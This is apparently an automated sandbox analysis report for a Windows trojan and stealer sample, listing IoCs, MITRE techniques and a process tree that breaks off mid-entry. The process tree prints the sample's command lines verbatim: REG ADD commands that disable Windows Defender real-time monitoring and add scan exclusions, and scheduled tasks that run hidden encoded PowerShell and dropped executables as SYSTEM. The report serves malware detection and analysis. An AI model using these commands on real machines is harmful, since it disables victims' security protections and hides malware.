089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b

Analysis

max time kernel
150s
max time network
138s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
18/10/2022, 19:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe
Size

7.3MB
MD5

14444765d3a9c6b797dc13e1d7638015
SHA1

614b3ece34cfc0639d4e8ff265986a50ad8b620e
SHA256

089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b
SHA512

4c95f3b1cbecfc1539314d32e08a7880e68c09c2a9ac68fcd8977fb8d0586823e4117b037471fb3e3827e10553a6a75c15a494d5e66b64969b55e96a13b8a4ed
SSDEEP

196608:91ONXlHf3ztl2mVmZXKo9jGHsowhFNMewhOOGsv01G:3ONXlHDZ8gG1WxGsGG

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ExLGzlxVXqmAOBuRcxR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gqlmldGVSRUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\DOPPtyDuQWtojawbo = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\EIQZTJtBDLOiQZhk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gqlmldGVSRUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QsEHNtqxqlZKC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QsEHNtqxqlZKC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bIbJMpHiU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ExLGzlxVXqmAOBuRcxR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\JyOCsvAdkzLU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\EIQZTJtBDLOiQZhk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\DOPPtyDuQWtojawbo = "0"	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bIbJMpHiU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\BxsbYgSZTNUxiiVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\JyOCsvAdkzLU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\EIQZTJtBDLOiQZhk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\BxsbYgSZTNUxiiVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\EIQZTJtBDLOiQZhk = "0"	reg.exe

Executes dropped EXE 4 IoCs

pid	Process
548	Install.exe
1996	Install.exe
668	XbRQhxd.exe
840	atOUmKy.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe
548	Install.exe
548	Install.exe
548	Install.exe
548	Install.exe
1996	Install.exe
1996	Install.exe
1996	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XbRQhxd.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	XbRQhxd.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XbRQhxd.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\bIbJMpHiU\jBleqt.dll	atOUmKy.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	atOUmKy.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	atOUmKy.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bNLHXISkhsXtOdkcGZ.job	schtasks.exe
File created	C:\Windows\Tasks\AKVOOjzszwLKFadpj.job	schtasks.exe
File created	C:\Windows\Tasks\bnPMwlkfsyaLVIF.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
608	schtasks.exe
2036	schtasks.exe
1280	schtasks.exe
2004	schtasks.exe
2004	schtasks.exe
1972	schtasks.exe
1396	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
588	powershell.EXE
588	powershell.EXE
588	powershell.EXE
944	powershell.EXE
944	powershell.EXE
944	powershell.EXE
276	powershell.EXE
276	powershell.EXE
276	powershell.EXE
1104	powershell.EXE
1104	powershell.EXE
1104	powershell.EXE
840	atOUmKy.exe
840	atOUmKy.exe
840	atOUmKy.exe
840	atOUmKy.exe
840	atOUmKy.exe
840	atOUmKy.exe
840	atOUmKy.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	588	powershell.EXE
Token: SeDebugPrivilege	944	powershell.EXE
Token: SeDebugPrivilege	276	powershell.EXE
Token: SeDebugPrivilege	1104	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 968 wrote to memory of 548	968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe	27
PID 968 wrote to memory of 548	968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe	27
PID 968 wrote to memory of 548	968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe	27
PID 968 wrote to memory of 548	968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe	27
PID 968 wrote to memory of 548	968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe	27
PID 968 wrote to memory of 548	968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe	27
PID 968 wrote to memory of 548	968	089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe	27
PID 548 wrote to memory of 1996	548	Install.exe	28
PID 548 wrote to memory of 1996	548	Install.exe	28
PID 548 wrote to memory of 1996	548	Install.exe	28
PID 548 wrote to memory of 1996	548	Install.exe	28
PID 548 wrote to memory of 1996	548	Install.exe	28
PID 548 wrote to memory of 1996	548	Install.exe	28
PID 548 wrote to memory of 1996	548	Install.exe	28
PID 1996 wrote to memory of 1280	1996	Install.exe	30
PID 1996 wrote to memory of 1280	1996	Install.exe	30
PID 1996 wrote to memory of 1280	1996	Install.exe	30
PID 1996 wrote to memory of 1280	1996	Install.exe	30
PID 1996 wrote to memory of 1280	1996	Install.exe	30
PID 1996 wrote to memory of 1280	1996	Install.exe	30
PID 1996 wrote to memory of 1280	1996	Install.exe	30
PID 1996 wrote to memory of 1808	1996	Install.exe	32
PID 1996 wrote to memory of 1808	1996	Install.exe	32
PID 1996 wrote to memory of 1808	1996	Install.exe	32
PID 1996 wrote to memory of 1808	1996	Install.exe	32
PID 1996 wrote to memory of 1808	1996	Install.exe	32
PID 1996 wrote to memory of 1808	1996	Install.exe	32
PID 1996 wrote to memory of 1808	1996	Install.exe	32
PID 1280 wrote to memory of 780	1280	forfiles.exe	34
PID 1280 wrote to memory of 780	1280	forfiles.exe	34
PID 1280 wrote to memory of 780	1280	forfiles.exe	34
PID 1280 wrote to memory of 780	1280	forfiles.exe	34
PID 1280 wrote to memory of 780	1280	forfiles.exe	34
PID 1280 wrote to memory of 780	1280	forfiles.exe	34
PID 1280 wrote to memory of 780	1280	forfiles.exe	34
PID 1808 wrote to memory of 1460	1808	forfiles.exe	35
PID 1808 wrote to memory of 1460	1808	forfiles.exe	35
PID 1808 wrote to memory of 1460	1808	forfiles.exe	35
PID 1808 wrote to memory of 1460	1808	forfiles.exe	35
PID 1808 wrote to memory of 1460	1808	forfiles.exe	35
PID 1808 wrote to memory of 1460	1808	forfiles.exe	35
PID 1808 wrote to memory of 1460	1808	forfiles.exe	35
PID 780 wrote to memory of 1464	780	cmd.exe	36
PID 780 wrote to memory of 1464	780	cmd.exe	36
PID 780 wrote to memory of 1464	780	cmd.exe	36
PID 780 wrote to memory of 1464	780	cmd.exe	36
PID 780 wrote to memory of 1464	780	cmd.exe	36
PID 780 wrote to memory of 1464	780	cmd.exe	36
PID 780 wrote to memory of 1464	780	cmd.exe	36
PID 1460 wrote to memory of 820	1460	cmd.exe	37
PID 1460 wrote to memory of 820	1460	cmd.exe	37
PID 1460 wrote to memory of 820	1460	cmd.exe	37
PID 1460 wrote to memory of 820	1460	cmd.exe	37
PID 1460 wrote to memory of 820	1460	cmd.exe	37
PID 1460 wrote to memory of 820	1460	cmd.exe	37
PID 1460 wrote to memory of 820	1460	cmd.exe	37
PID 780 wrote to memory of 1724	780	cmd.exe	38
PID 780 wrote to memory of 1724	780	cmd.exe	38
PID 780 wrote to memory of 1724	780	cmd.exe	38
PID 780 wrote to memory of 1724	780	cmd.exe	38
PID 780 wrote to memory of 1724	780	cmd.exe	38
PID 780 wrote to memory of 1724	780	cmd.exe	38
PID 780 wrote to memory of 1724	780	cmd.exe	38
PID 1460 wrote to memory of 1544	1460	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe
"C:\Users\Admin\AppData\Local\Temp\089c9a7d4a37db54b685faf90b9f9869833b8376b4a472852292b3b318f04b2b.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:968
- C:\Users\Admin\AppData\Local\Temp\7zSFC88.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Users\Admin\AppData\Local\Temp\7zSFFF2.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1996
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1280
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:780
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1464
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1724
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1808
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1460
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:820
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1544
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gNUBhwrEX" /SC once /ST 17:33:50 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:608
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gNUBhwrEX"
      4⤵
      PID:1144
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gNUBhwrEX"
      4⤵
      PID:436
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bNLHXISkhsXtOdkcGZ" /SC once /ST 21:15:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\DOPPtyDuQWtojawbo\poQmgQVzVdhdRIL\XbRQhxd.exe\" pf /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:2036

C:\Windows\system32\taskeng.exe
taskeng.exe {E41CE510-1E80-4119-9A90-23291ED94659} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:588
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:944
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:276
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:820

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:928

C:\Windows\system32\taskeng.exe
taskeng.exe {D032818C-3EDF-4EF1-A70A-28F594733ED9} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1448
- C:\Users\Admin\AppData\Local\Temp\DOPPtyDuQWtojawbo\poQmgQVzVdhdRIL\XbRQhxd.exe
  C:\Users\Admin\AppData\Local\Temp\DOPPtyDuQWtojawbo\poQmgQVzVdhdRIL\XbRQhxd.exe pf /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:668
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gLEYfvQGp" /SC once /ST 03:35:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gLEYfvQGp"
    3⤵
    PID:1592
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gLEYfvQGp"
    3⤵
    PID:1372
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1980
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:836
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1904
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gCjiOLFeH" /SC once /ST 18:30:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gCjiOLFeH"
    3⤵
    PID:1468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gCjiOLFeH"
    3⤵
    PID:1156
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\EIQZTJtBDLOiQZhk" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1160
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\EIQZTJtBDLOiQZhk" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\EIQZTJtBDLOiQZhk" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1620
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\EIQZTJtBDLOiQZhk" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:844
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\EIQZTJtBDLOiQZhk" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:984
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\EIQZTJtBDLOiQZhk" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1936
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\EIQZTJtBDLOiQZhk" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1452
  - - C:\Windows\SysWOW64\reg.exe
